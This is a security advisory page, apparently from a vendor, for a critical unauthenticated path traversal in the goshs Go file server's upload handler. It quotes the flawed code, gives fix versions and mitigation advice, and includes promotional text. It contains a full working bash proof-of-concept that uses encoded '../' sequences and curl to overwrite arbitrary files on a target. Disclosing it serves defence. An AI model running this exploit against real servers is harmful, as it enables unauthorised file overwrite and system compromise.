GHSA-jg56-wf8x-qrv5
CRITICALGHSA-jg56-wf8x-qrv5 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/patrickhener/goshs. O3 Security confirms whether GHSA-jg56-wf8x-qrv5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload
Real-World Exposure
github.com/patrickhener/goshsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
- POST multipart upload directory not sanitized |
httpserver/updown.go:71-174
This finding affect the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:71-174
Trigger: POST /<path>/upload (server.go:49-51 checks HasSuffix(r.URL.Path, "/upload"))
The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from req.URL.Path unsanitized:
upath := req.URL.Path // unsanitized
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1] // strips trailing "upload"
target := strings.Join(targetpath, "/")
filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized
finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)
The route requires the URL to end with /upload. An attacker uses a path like /../../target_dir/upload, the suffix satisfies routing, and the ../.. escapes the webroot. The filename on disk is controlled by the attacker via the multipart filename field (after basename extraction).
Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.
PoCs:
#!/usr/bin/env bash
#
# Example:
# ./arbitrary_overwrite2.sh 10.0.0.5 8080
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] POST: ${POST_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X POST \
-F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
"http://${HOST}:${PORT}${POST_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/patrickhener/goshs | all versions | 1.1.5-0.20260401172448-237f3af891a9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jg56-wf8x-qrv5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jg56-wf8x-qrv5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jg56-wf8x-qrv5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jg56-wf8x-qrv5 in your dependencies?
O3 detects GHSA-jg56-wf8x-qrv5 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.